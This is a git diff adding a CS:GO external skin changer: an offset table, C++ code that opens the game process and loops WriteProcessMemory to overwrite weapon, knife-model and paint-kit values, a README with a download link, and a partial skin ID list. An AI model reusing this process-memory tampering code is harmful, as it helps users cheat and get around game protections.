int m_bIsScoped = 0x3914; + int m_bIsValveDS = 0x75; + int m_bSpotted = 0x93D; + int m_bSpottedByMask = 0x980; + int m_bStartedArming = 0x33F0; + int m_bUseCustomAutoExposureMax = 0x9D9; + int m_bUseCustomAutoExposureMin = 0x9D8; + int m_bUseCustomBloomScale = 0x9DA; + int m_clrRender = 0x70; + int m_dwBoneMatrix = 0x26A8; + int m_fAccuracyPenalty = 0x3330; + int m_fFlags = 0x104; + int m_flC4Blow = 0x2990; + int m_flCustomAutoExposureMax = 0x9E0; + int m_flCustomAutoExposureMin = 0x9DC; + int m_flCustomBloomScale = 0x9E4; + int m_flDefuseCountDown = 0x29AC; + int m_flDefuseLength = 0x29A8; + int m_flFallbackWear = 0x31D0; + int m_flFlashDuration = 0xA410; + int m_flFlashMaxAlpha = 0xA40C; + int m_flLastBoneSetupTime = 0x2924; + int m_flLowerBodyYawTarget = 0x3A7C; + int m_flNextAttack = 0x2D70; + int m_flNextPrimaryAttack = 0x3238; + int m_flSimulationTime = 0x268; + int m_flTimerLength = 0x2994; + int m_hActiveWeapon = 0x2EF8; + int m_hMyWeapons = 0x2DF8; + int m_hObserverTarget = 0x338C; + int m_hOwner = 0x29CC; + int m_hOwnerEntity = 0x14C; + int m_iAccountID = 0x2FC8; + int m_iClip1 = 0x3264; + int m_iCompetitiveRanking = 0x1A84; + int m_iCompetitiveWins = 0x1B88; + int m_iCrosshairId = 0xB3D4; + int m_iEntityQuality = 0x2FAC; + int m_iFOV = 0x31E4; + int m_iFOVStart = 0x31E8; + int m_iGlowIndex = 0xA428; + int m_iHealth = 0x100; + int m_iItemDefinitionIndex = 0x2FAA; + int m_iItemIDHigh = 0x2FC0; + int m_iMostRecentModelBoneCounter = 0x2690; + int m_iObserverMode = 0x3378; + int m_iShotsFired = 0xA380; + int m_iState = 0x3258; + int m_iTeamNum = 0xF4; + int m_lifeState = 0x25F; + int m_nFallbackPaintKit = 0x31C8; + int m_nFallbackSeed = 0x31CC; + int m_nFallbackStatTrak = 0x31D4; + int m_nForceBone = 0x268C; + int m_nTickBase = 0x3430; + int m_rgflCoordinateFrame = 0x444; + int m_szCustomName = 0x303C; + int m_szLastPlaceName = 0x35B4; + int m_thirdPersonViewAngles = 0x31D8; + int m_vecOrigin = 0x138; + int m_vecVelocity = 0x114; + int m_vecViewOffset = 0x108; + int m_viewPunchAngle = 0x3020; + } // namespace netvars + namespace signatures { + int anim_overlays = 0x2980; + int clientstate_choked_commands = 0x4D28; + int clientstate_delta_ticks = 0x174; + int clientstate_last_outgoing_command = 0x4D24; + int clientstate_net_channel = 0x9C; + int convar_name_hash_table = 0x2F0F8; + int dwClientState = 0x589DCC; + int dwClientState_GetLocalPlayer = 0x180; + int dwClientState_IsHLTV = 0x4D40; + int dwClientState_Map = 0x28C; + int dwClientState_MapDirectory = 0x188; + int dwClientState_MaxPlayer = 0x388; + int dwClientState_PlayerInfo = 0x52B8; + int dwClientState_State = 0x108; + int dwClientState_ViewAngles = 0x4D88; + int dwEntityList = 0x4D43AC4; + int dwForceAttack = 0x3175068; + int dwForceAttack2 = 0x3175074; + int dwForceBackward = 0x31750A4; + int dwForceForward = 0x3175080; + int dwForceJump = 0x51ED760; + int dwForceLeft = 0x3175098; + int dwForceRight = 0x31750BC; + int dwGameDir = 0x6286F8; + int dwGameRulesProxy = 0x5260A3C; + int dwGetAllClasses = 0xD55F2C; + int dwGlobalVars = 0x589AD0; + int dwGlowObjectManager = 0x528B8A0; + int dwInput = 0x5195070; + int dwInterfaceLinkList = 0x8FA4A4; + int dwLocalPlayer = 0xD2FB94; + int dwMouseEnable = 0xD35738; + int dwMouseEnablePtr = 0xD35708; + int dwPlayerResource = 0x317340C; + int dwRadarBase = 0x5178834; + int dwSensitivity = 0xD355D4; + int dwSensitivityPtr = 0xD355A8; + int dwSetClanTag = 0x89ED0; + int dwViewMatrix = 0x4D35404; + int dwWeaponTable = 0x5195B34; + int dwWeaponTableIndex = 0x325C; + int dwYawPtr = 0xD35398; + int dwZoomSensitivityRatioPtr = 0xD3A5E0; + int dwbSendPackets = 0xD3ECA; + int dwppDirect3DDevice9 = 0xA7030; + int find_hud_element = 0x2EB7C3F0; + int force_update_spectator_glow = 0x3991F2; + int interface_engine_cvar = 0x3E9EC; + int is_c4_owner = 0x3A59C0; + int m_bDormant = 0xED; + int m_flSpawnTime = 0xA360; + int m_pStudioHdr = 0x294C; + int m_pitchClassPtr = 0x5178AD8; + int m_yawClassPtr = 0xD35398; + int model_ambient_min = 0x58CE44; + int set_abs_angles = 0x1CF1D0; + int set_abs_origin = 0x1CF010; + } // namespace signatures +} // namespace hazedumper diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/README.md" new file mode 100644 index 0000000..4b1ff4a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/README.md" @@ -0,0 +1,19 @@ + + +链接: https://pan.baidu.com/s/1eTVcA8otktzU2qqn6XWvhw 提取码: j7d4 + +https://www.ixigua.com/i6841171393732674062?utm_source=xiguastudio + +# 截图展示 +

+ +

+ +## 不视频讲解了,反正代码里有非常详细的注释 + + + + + + + diff --git "a/end.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/demo.jpg" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/demo.jpg" similarity index 100% rename from "end.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/demo.jpg" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/demo.jpg" diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/main.cpp" new file mode 100644 index 0000000..654430f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/main.cpp" @@ -0,0 +1,261 @@ +#include "main.h" +#include + +/* +2020.06.22 +csgo +*/ + +unsigned long g_pid = 0; +unsigned long g_client = 0; +unsigned long g_engine = 0; + +unsigned long dwClientState = 0; +unsigned long dwLocalPlayer = 0; +unsigned long dwEntityList = 0; +unsigned long m_hViewModel = 0; +unsigned long m_iViewModelIndex = 0; +unsigned long m_flFallbackWear = 0; +unsigned long m_nFallbackPaintKit = 0; +unsigned long m_iItemIDHigh = 0; +unsigned long m_iEntityQuality = 0; +unsigned long m_iItemDefinitionIndex = 0; +unsigned long m_hActiveWeapon = 0; +unsigned long m_hMyWeapons = 0; +unsigned long m_nModelIndex = 0; + +//ȡڴ +template +T read_memory(unsigned long addr) +{ + HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, g_pid); + if (proc == INVALID_HANDLE_VALUE) return 0; + + SIZE_T bytes = 0; + T temp; + ReadProcessMemory(proc, (LPCVOID)addr, &temp, sizeof(T), &bytes); + CloseHandle(proc); + return temp; +} + +//дڴ +template +void write_memory(unsigned long addr, T temp) +{ + HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, g_pid); + if (proc == INVALID_HANDLE_VALUE) return; + + SIZE_T bytes = 0; + WriteProcessMemory(proc, (LPVOID)addr, (LPCVOID)&temp, sizeof(T), &bytes); + CloseHandle(proc); +} + +int main(int argc, char* arvg[]) +{ + //ȡϷID + unsigned long pid = get_process_id("Counter-Strike: Global Offensive"); + printf("[+] ID -> %d\n", pid); + g_pid = pid; + + //ȡϷҪģַ + g_client = get_module_addr("client.dll", pid); + g_engine = get_module_addr("engine.dll", pid); + printf("[+] client.dll -> 0x%8x\n", g_client); + printf("[+] engine.dll -> 0x%8x\n", g_engine); + + //ϻȡһЩַƫ + get_csgo_address_from_web(); + + //ʼcsgo + change_skin(); + + return 0; +} + +unsigned long get_process_id(const char* proc) +{ + unsigned long pid = 0; + GetWindowThreadProcessId(FindWindowA(nullptr, proc), &pid); + if (pid == 0) error_handle("δcsgoϷ"); + return pid; +} + +unsigned long get_module_addr(const char* mod, unsigned long pid) +{ + void* snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); + if (snap == nullptr) error_handle("CreateToolhelp32Snapshotʧ"); + + MODULEENTRY32 module{ sizeof(MODULEENTRY32) }; + Module32First(snap, &module); + + do + { + if (strncmp(mod, module.szModule, sizeof(mod)) == 0) + return (unsigned long)module.modBaseAddr; + } while (Module32Next(snap, &module)); + + error_handle(mod); + return 0; +} + +std::string get_web_code(const char* web) +{ + // + const auto internet = InternetOpen("browser", INTERNET_OPEN_TYPE_PRECONFIG, nullptr, nullptr, 0); + if (internet == nullptr) error_handle("InternetOpenʧ"); + + //Էַָ + const auto internet_address = InternetOpenUrl(internet, web, nullptr, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0); + if (internet_address == nullptr) error_handle("InternetOpenUrlʧ"); + + //ȡַȫԴ + std::string buffer; + unsigned long read_bytes = 0; + do + { + const int const_size = 1024 * 8; + char temp[const_size]{ 0 }; + InternetReadFile(internet_address, reinterpret_cast(temp), const_size, &read_bytes); + buffer += temp; + } while (read_bytes); + + InternetCloseHandle(internet_address); + InternetCloseHandle(internet); + return buffer; +} + +void get_csgo_address_from_web() +{ + //οַ + //https://github.com/frk1/hazedumper/blob/master/csgo.cs + //https://github.com/MrLotsmon/csoffsets/blob/master/csgo.cs + std::string buffer = get_web_code("https://github.com/MrLotsmon/csoffsets/blob/master/csgo.cs"); + + //ӲľûеģȷԺϷƫʧЧĿ + + dwClientState = get_address(buffer, "dwClientState"); + dwLocalPlayer = get_address(buffer, "dwLocalPlayer"); + dwEntityList = get_address(buffer, "dwEntityList"); + //m_hViewModel = get_address(buffer, "m_hViewModel"); + m_hViewModel = 0x32f8; + //m_iViewModelIndex = get_address(buffer, "m_iViewModelIndex"); + m_iViewModelIndex = 0x3240; + m_flFallbackWear = get_address(buffer, "m_flFallbackWear"); + m_nFallbackPaintKit = get_address(buffer, "m_nFallbackPaintKit"); + m_iItemIDHigh = get_address(buffer, "m_iItemIDHigh"); + m_iEntityQuality = get_address(buffer, "m_iEntityQuality"); + m_iItemDefinitionIndex = get_address(buffer, "m_iItemDefinitionIndex"); + m_hActiveWeapon = get_address(buffer, "m_hActiveWeapon"); + m_hMyWeapons = get_address(buffer, "m_hMyWeapons"); + //m_nModelIndex = get_address(buffer, "m_nModelIndex"); + m_nModelIndex = 0x258; +} + +unsigned long get_address(const std::string& buffer, const char* str, int offset /*= 0*/) +{ + auto pos = buffer.find(str, offset); + auto begin = buffer.find("0x", pos); + auto end = buffer.find("<", begin); + if (pos == std::string::npos || begin == std::string::npos || end == std::string::npos) error_handle(str); + + int addr = 0; + std::stringstream translate; + translate << buffer.substr(begin + 2, end - (begin + 2)); + translate >> std::hex >> addr; + if (addr == 0) error_handle(str); + + printf("[+] %s -> %x\n", str, addr); + return addr; +} + +void change_skin() +{ + /* + Сģ -- Сģ +500 -- 474 +505 -- 480 +506 -- 483 +507 -- 486 +508 -- 489 +509 -- 492 +512 -- 495 +514 -- 498 +515 -- 501 +516 -- 504 +519 -- 514 +520 -- 517 +522 -- 523 +523 -- 526 +503 -- 477 +517 -- 508 +518 -- 511 +521 -- 520 +525 -- 529 + */ + + //Сģ + short knife_index = 500; + + //Сģ + unsigned int knife_model_index = 474; + + const int item_id_high = -1; + const int entity_quality = 3; + const float fallback_wear = 0.001f;//ĥ + + //޸..... + while (true) + { + //ȡԼַ + unsigned long local_player = read_memory(g_client + dwLocalPlayer); + if (local_player == 0) continue; + + //ȡϵȫ׼ + for (int i = 0; i < 8; i++) + { + //ȡǰ + unsigned long current_weapon = read_memory(local_player + m_hMyWeapons + i * 0x4) & 0xfff; + current_weapon = read_memory(g_client + dwEntityList + (current_weapon - 1) * 0x10); + if (current_weapon == 0) continue; + + //ȡ + short weapon_index = read_memory(current_weapon + m_iItemDefinitionIndex); + + //Сģ + if (weapon_n::IsIDKnife(weapon_index)) + { + write_memory(current_weapon + m_iItemDefinitionIndex, knife_index); + write_memory(current_weapon + m_nModelIndex, knife_model_index); + write_memory(current_weapon + m_iViewModelIndex, knife_model_index); + write_memory(current_weapon + m_iEntityQuality, entity_quality); + } + + //ȡǹе/С Ƥ + unsigned int weapon_skin = weapon_n::get_waepon_skin(weapon_index); + if (weapon_skin) + { + write_memory(current_weapon + m_iItemIDHigh, item_id_high); + write_memory(current_weapon + m_nFallbackPaintKit, weapon_skin); + write_memory(current_weapon + m_flFallbackWear, fallback_wear); + } + } + + //ȡǰ + unsigned long active_weapon = read_memory(local_player + m_hActiveWeapon) & 0xfff; + active_weapon = read_memory(g_client + dwEntityList + (active_weapon - 1) * 0x10); + if (active_weapon == 0) continue; + + //ǰ + short index = read_memory(active_weapon + m_iItemDefinitionIndex); + //õIJСͲҪִ + if (index != knife_index) continue; + + //ȡԼӽ(СģҪԼӽ) + unsigned long active_view_model = read_memory(local_player + m_hViewModel) & 0xfff; + active_view_model = read_memory(g_client + dwEntityList + (active_view_model - 1) * 0x10); + if (active_view_model == 0) continue; + + //дСģ͵ǵӽ + write_memory(active_view_model + m_nModelIndex, knife_model_index); + } +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/main.h" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/main.h" new file mode 100644 index 0000000..cee3bc2 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/main.h" @@ -0,0 +1,609 @@ +#pragma once +#define _CRT_SECURE_NO_WARNINGS + +#include +#include +#include +#pragma comment(lib, "Wininet.lib") + +#include +#include +#include +#include +#include + +enum weapon_id : uint16_t +{ + WEAPON_NONE = 0, + + WEAPON_DEAGLE, + WEAPON_ELITE, + WEAPON_FIVESEVEN, + WEAPON_GLOCK, + WEAPON_AK47 = 7, + WEAPON_AUG, + WEAPON_AWP, + WEAPON_FAMAS, + WEAPON_G3SG1, + WEAPON_GALILAR = 13, + WEAPON_M249, + WEAPON_M4A1 = 16, + WEAPON_MAC10, + WEAPON_P90 = 19, + WEAPON_MP5SD = 23, + WEAPON_UMP45, + WEAPON_XM1014, + WEAPON_BIZON, + WEAPON_MAG7, + WEAPON_NEGEV, + WEAPON_SAWEDOFF, + WEAPON_TEC9, + WEAPON_TASER, + WEAPON_HKP2000, + WEAPON_MP7, + WEAPON_MP9, + WEAPON_NOVA, + WEAPON_P250, + WEAPON_SHIELD, + WEAPON_SCAR20, + WEAPON_SG556, + WEAPON_SSG08, + WEAPON_KNIFEGG, + WEAPON_KNIFE, + WEAPON_FLASHBANG, + WEAPON_HEGRENADE, + WEAPON_SMOKEGRENADE, + WEAPON_MOLOTOV, + WEAPON_DECOY, + WEAPON_INCGRENADE, + WEAPON_C4, + WEAPON_HEALTHSHOT = 57, + WEAPON_KNIFE_T = 59, + WEAPON_M4A1_SILENCER, + WEAPON_USP_SILENCER, + WEAPON_CZ75A = 63, + WEAPON_REVOLVER, + WEAPON_TAGRENADE = 68, + WEAPON_FISTS, + WEAPON_BREACHCHARGE, + WEAPON_TABLET = 72, + WEAPON_MELEE = 74, + WEAPON_AXE, + WEAPON_HAMMER, + WEAPON_SPANNER = 78, + WEAPON_KNIFE_GHOST = 80, + WEAPON_FIREBOMB, + WEAPON_DIVERSION, + WEAPON_FRAG_GRENADE, + WEAPON_SNOWBALL, + WEAPON_BUMPMINE, + WEAPON_BAYONET = 500, + WEAPON_KNIFE_FLIP = 505, + WEAPON_KNIFE_GUT, + WEAPON_KNIFE_KARAMBIT, + WEAPON_KNIFE_M9_BAYONET, + WEAPON_KNIFE_TACTICAL, + WEAPON_KNIFE_FALCHION = 512, + WEAPON_KNIFE_SURVIVAL_BOWIE = 514, + WEAPON_KNIFE_BUTTERFLY, + WEAPON_KNIFE_PUSH, + WEAPON_KNIFE_URSUS = 519, + WEAPON_KNIFE_GYPSY_JACKKNIFE, + WEAPON_KNIFE_STILETTO = 522, + WEAPON_KNIFE_WIDOWMAKER +}; + +namespace weapon_n +{ + static unsigned int get_waepon_skin(int index) + { + unsigned int result = 0; + enum weapon_id i = (weapon_id)index; + switch (i) + { + case WEAPON_NONE: + break; + case WEAPON_DEAGLE: + result = 527; + break; + case WEAPON_ELITE: + result = 396; + break; + case WEAPON_FIVESEVEN: + result = 660; + break; + case WEAPON_GLOCK: + result = 495; + break; + case WEAPON_AK47: + result = 639; + break; + case WEAPON_AUG: + result = 913; + break; + case WEAPON_AWP: + result = 344; + break; + case WEAPON_FAMAS: + result = 178; + break; + case WEAPON_G3SG1: + result = 465; + break; + case WEAPON_GALILAR: + result = 76; + break; + case WEAPON_M249: + result = 452; + break; + case WEAPON_M4A1: + result = 632; + break; + case WEAPON_MAC10: + result = 947; + break; + case WEAPON_P90: + result = 669; + break; + case WEAPON_MP5SD: + result = 872; + break; + case WEAPON_UMP45: + result = 615; + break; + case WEAPON_XM1014: + result = 348; + break; + case WEAPON_BIZON: + result = 884; + break; + case WEAPON_MAG7: + result = 385; + break; + case WEAPON_NEGEV: + result = 698; + break; + case WEAPON_SAWEDOFF: + result = 638; + break; + case WEAPON_TEC9: + result = 905; + break; + case WEAPON_TASER: + break; + case WEAPON_HKP2000: + result = 104; + break; + case WEAPON_MP7: + result = 423; + break; + case WEAPON_MP9: + result = 262; + break; + case WEAPON_NOVA: + result = 158; + break; + case WEAPON_P250: + result = 358; + break; + case WEAPON_SHIELD: + break; + case WEAPON_SCAR20: + result = 165; + break; + case WEAPON_SG556: + result = 378; + break; + case WEAPON_SSG08: + result = 319; + break; + case WEAPON_KNIFEGG: + break; + case WEAPON_KNIFE: + break; + case WEAPON_FLASHBANG: + break; + case WEAPON_HEGRENADE: + break; + case WEAPON_SMOKEGRENADE: + break; + case WEAPON_MOLOTOV: + break; + case WEAPON_DECOY: + break; + case WEAPON_INCGRENADE: + break; + case WEAPON_C4: + break; + case WEAPON_HEALTHSHOT: + break; + case WEAPON_KNIFE_T: + break; + case WEAPON_M4A1_SILENCER: + result = 663; + break; + case WEAPON_USP_SILENCER: + result = 454; + break; + case WEAPON_CZ75A: + result = 268; + break; + case WEAPON_REVOLVER: + result = 683; + break; + case WEAPON_TAGRENADE: + break; + case WEAPON_FISTS: + break; + case WEAPON_BREACHCHARGE: + break; + case WEAPON_TABLET: + break; + case WEAPON_MELEE: + break; + case WEAPON_AXE: + break; + case WEAPON_HAMMER: + break; + case WEAPON_SPANNER: + break; + case WEAPON_KNIFE_GHOST: + break; + case WEAPON_FIREBOMB: + break; + case WEAPON_DIVERSION: + break; + case WEAPON_FRAG_GRENADE: + break; + case WEAPON_SNOWBALL: + break; + case WEAPON_BUMPMINE: + break; + case WEAPON_BAYONET: + result = 558; + break; + case WEAPON_KNIFE_FLIP: + result = 559; + break; + case WEAPON_KNIFE_GUT: + result = 560; + break; + case WEAPON_KNIFE_KARAMBIT: + result = 561; + break; + case WEAPON_KNIFE_M9_BAYONET: + result = 558; + break; + case WEAPON_KNIFE_TACTICAL: + result = 620; + break; + case WEAPON_KNIFE_FALCHION: + result = 621; + break; + case WEAPON_KNIFE_SURVIVAL_BOWIE: + break; + case WEAPON_KNIFE_BUTTERFLY: + break; + case WEAPON_KNIFE_PUSH: + break; + case WEAPON_KNIFE_URSUS: + break; + case WEAPON_KNIFE_GYPSY_JACKKNIFE: + break; + case WEAPON_KNIFE_STILETTO: + break; + case WEAPON_KNIFE_WIDOWMAKER: + result = 856; + break; + default: + break; + } + return result; + } + + static bool IsIDPistol(int m_iWeaponId) + { + switch (m_iWeaponId) + { + case WEAPON_DEAGLE: + return true; + case WEAPON_ELITE: + return true; + case WEAPON_FIVESEVEN: + return true; + case WEAPON_GLOCK: + return true; + case WEAPON_TEC9: + return true; + case WEAPON_HKP2000: + return true; + case WEAPON_USP_SILENCER: + return true; + case WEAPON_P250: + return true; + case WEAPON_CZ75A: + return true; + case WEAPON_REVOLVER: + return true; + default: + return false; + } + } + + static bool IsIDShotgun(int m_iWeaponId) + { + switch (m_iWeaponId) + { + case WEAPON_XM1014: + return true; + case WEAPON_MAG7: + return true; + case WEAPON_SAWEDOFF: + return true; + case WEAPON_NOVA: + return true; + default: + return false; + } + } + + static bool IsIDAutomatic(int m_iWeaponId) + { + switch (m_iWeaponId) + { + case WEAPON_MP5SD: + return true; + case WEAPON_AK47: + return true; + case WEAPON_AUG: + return true; + case WEAPON_FAMAS: + return true; + case WEAPON_GALILAR: + return true; + case WEAPON_M249: + return true; + case WEAPON_M4A1: + return true; + case WEAPON_M4A1_SILENCER: + return true; + case WEAPON_MAC10: + return true; + case WEAPON_P90: + return true; + case WEAPON_UMP45: + return true; + case WEAPON_BIZON: + return true; + case WEAPON_NEGEV: + return true; + case WEAPON_MP7: + return true; + case WEAPON_MP9: + return true; + case WEAPON_SG556: + return true; + default: + return false; + } + } + + static bool IsIDSniper(int m_iWeaponId) + { + switch (m_iWeaponId) + { + case WEAPON_AWP: + return true; + case WEAPON_G3SG1: + return true; + case WEAPON_SCAR20: + return true; + case WEAPON_SSG08: + return true; + default: + return false; + } + } + + static bool IsIDKnife(int m_iWeaponId) + { + switch (m_iWeaponId) + { + case WEAPON_KNIFEGG: + return true; + case WEAPON_KNIFE_T: + return true; + case WEAPON_KNIFE_GUT: + return true; + case WEAPON_KNIFE_FLIP: + return true; + case WEAPON_BAYONET: + return true; + case WEAPON_KNIFE_M9_BAYONET: + return true; + case WEAPON_KNIFE_KARAMBIT: + return true; + case WEAPON_KNIFE_TACTICAL: + return true; + case WEAPON_KNIFE_BUTTERFLY: + return true; + case WEAPON_KNIFE_FALCHION: + return true; + case WEAPON_KNIFE_PUSH: + return true; + case WEAPON_KNIFE_SURVIVAL_BOWIE: + return true; + default: + return false; + } + } + + static bool IsIDOther(int m_iWeaponId) + { + switch (m_iWeaponId) + { + //case WEAPON_NONE: + // return true; + case WEAPON_TASER: + return true; + case WEAPON_FLASHBANG: + return true; + case WEAPON_HEGRENADE: + return true; + case WEAPON_SMOKEGRENADE: + return true; + case WEAPON_MOLOTOV: + return true; + case WEAPON_DECOY: + return true; + case WEAPON_INCGRENADE: + return true; + case WEAPON_C4: + return true; + default: + return false; + } + } + + static const char *GetWeaponName(int m_iWeaponId) + { + switch (m_iWeaponId) + { + case WEAPON_MP5SD: + return "MP7"; break; + case WEAPON_DEAGLE: + return "DEAGLE"; break; + case WEAPON_ELITE: + return "DUALS"; break; + case WEAPON_FIVESEVEN: + return "FIVE SEVEN"; break; + case WEAPON_GLOCK: + return "GLOCK"; break; + case WEAPON_AK47: + return "AK47"; break; + case WEAPON_AUG: + return "AUG"; break; + case WEAPON_AWP: + return "AWP"; break; + case WEAPON_FAMAS: + return "FAMAS"; break; + case WEAPON_G3SG1: + return "G3SG1"; break; + case WEAPON_GALILAR: + return "GALIL"; break; + case WEAPON_M249: + return "M249"; break; + case WEAPON_M4A1: + return "M4A1"; break; + case WEAPON_MAC10: + return "MAC10"; break; + case WEAPON_P90: + return "P90"; break; + case WEAPON_UMP45: + return "UMP45"; break; + case WEAPON_XM1014: + return "XM1014"; break; + case WEAPON_BIZON: + return "BIZON"; break; + case WEAPON_MAG7: + return "MAG7"; break; + case WEAPON_NEGEV: + return "NEGEV"; break; + case WEAPON_SAWEDOFF: + return "SAWED OFF"; break; + case WEAPON_TEC9: + return "TEC9"; break; + case WEAPON_TASER: + return "TASER"; break; + case WEAPON_HKP2000: + return "P2000"; break; + case WEAPON_MP7: + return "MP7"; break; + case WEAPON_MP9: + return "MP9"; break; + case WEAPON_NOVA: + return "NOVA"; break; + case WEAPON_P250: + return "P250"; break; + case WEAPON_SCAR20: + return "SCAR20"; break; + case WEAPON_SG556: + return "SG553"; break; + case WEAPON_SSG08: + return "SCOUT"; break; + case WEAPON_KNIFEGG: + return "KNIFE"; break; + case WEAPON_KNIFE_T: + return "KNIFE"; break; + case WEAPON_KNIFE_GUT: + return "GUT KNIFE"; break; + case WEAPON_KNIFE_FLIP: + return "FLIP KNIFE"; break; + case WEAPON_BAYONET: + return "BAYONET"; break; + case WEAPON_KNIFE_KARAMBIT: + return "KARAMBIT"; break; + case WEAPON_KNIFE_M9_BAYONET: + return "M9 BAYONET"; break; + case WEAPON_KNIFE_BUTTERFLY: + return "BUTTERFLY"; break; + case WEAPON_KNIFE_FALCHION: + return "FALCHION"; break; + case WEAPON_KNIFE_TACTICAL: + return "HUNTSMAN"; break; + case WEAPON_KNIFE_PUSH: + return "BUTTPLUGS"; break; + case WEAPON_FLASHBANG: + return "FLASHBANG"; break; + case WEAPON_HEGRENADE: + return "HE GRENADE"; break; + case WEAPON_SMOKEGRENADE: + return "SMOKE"; break; + case WEAPON_MOLOTOV: + return "MOLOTOV"; break; + case WEAPON_DECOY: + return "DECOY"; break; + case WEAPON_INCGRENADE: + return "INC GRENADE"; break; + case WEAPON_M4A1_SILENCER: + return "M4A1-S"; break; + case WEAPON_USP_SILENCER: + return "USP-S"; break; + case WEAPON_CZ75A: + return "CZ75"; break; + case WEAPON_C4: + return "C4"; break; + case WEAPON_REVOLVER: + return "COWBOY GUN"; break; + + default: + return "INVALID"; break; + } + return "INVALID"; + } +} + +// +void error_handle(const char* title = nullptr) +{ + MessageBoxA(nullptr, title, nullptr, MB_OK); + exit(0); +} + +//ȡID +unsigned long get_process_id(const char* proc); + +//ȡָģַ +unsigned long get_module_addr(const char* mod, unsigned long pid); + +//ȡָҳԴ +std::string get_web_code(const char* web); + +//ȡҳcsgoַ +void get_csgo_address_from_web(); + +//ȡָƵַ +unsigned long get_address(const std::string& buffer, const char* str, int offset = 0); + +// +void change_skin(); diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/skin.txt" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/skin.txt" new file mode 100644 index 0000000..b006141 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/N.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/skin.txt" @@ -0,0 +1,814 @@ +"(ak47)丛林涂装 - 122", +"(ak47)二西莫夫 - 801", +"(ak47)前线迷雾 - 490", +"(ak47)卡特尔 - 394", +"(ak47)复古浪潮 - 885", +"(ak47)安全网 - 795", +"(ak47)巴洛克之紫 - 745", +"(ak47)幻影破坏者 - 941", +"(ak47)水栽竹 - 456", +"(ak47)深海复仇 - 474", +"(ak47)混沌点阵 - 506", +"(ak47)火神 - 302", +"(ak47)火蛇 - 180", +"(ak47)燃料喷射器 - 524", +"(ak47)皇后 - 675", +"(ak47)精英之作 - 422", +"(ak47)红线 - 282", +"(ak47)红色层压板 - 14", +"(ak47)美洲猛虎 - 316", +"(ak47)翡翠细条纹 - 300", +"(ak47)至高皮革 - 341", +"(ak47)荒野反叛 - 380", +"(ak47)蓝色层压板 - 226", +"(ak47)血腥运动 - 639", +"(ak47)轨道 Mk01 - 656", +"(ak47)迷踪秘境 - 836", +"(ak47)酷炫涂鸦皮革 - 340", +"(ak47)野荷 - 724", +"(ak47)霓虹革命 - 600", +"(ak47)霓虹骑士 - 707", +"(ak47)黑色层压板 - 172", +"(aug)三角战术 - 674", +"(aug)代达罗斯之殇 - 444", +"(aug)众枪之的 - 110", +"(aug)力矩 - 305", +"(aug)动量 - 845", +"(aug)午夜百合 - 727", +"(aug)变色龙 - 280", +"(aug)孟加拉猛虎 - 9", +"(aug)席德.米德 - 601", +"(aug)弹跳线条 - 507", +"(aug)扫频仪 - 794", +"(aug)极地孤狼 - 886", +"(aug)汤姆猫 - 942", +"(aug)汪之萌杀 - 913", +"(aug)深蓝电镀处理 - 197", +"(aug)湖怪鸟 - 690", +"(aug)烈焰巨蟒 - 758", +"(aug)燕群 - 541", +"(aug)琥珀冲流 - 708", +"(aug)秋叶原之选 - 455", +"(aug)穆拉诺之蓝 - 740", +"(aug)贵族 - 583", +"(aug)辐射危机 - 375", +"(aug)铜斑蛇 - 10", +"(aug)随机存取 - 779", +"(aug)鹰翼 - 73", +"(awp)*嘣* - 174", +"(awp)二西莫夫 - 279", +"(awp)冥界之河 - 788", +"(awp)冲出重围 - 887", +"(awp)响尾蛇 - 251", +"(awp)巨龙传说 - 344", +"(awp)无畏战神 - 395", +"(awp)暴怒野兽 - 475", +"(awp)树蝰 - 838", +"(awp)死神 - 691", +"(awp)毛细血管 - 943", 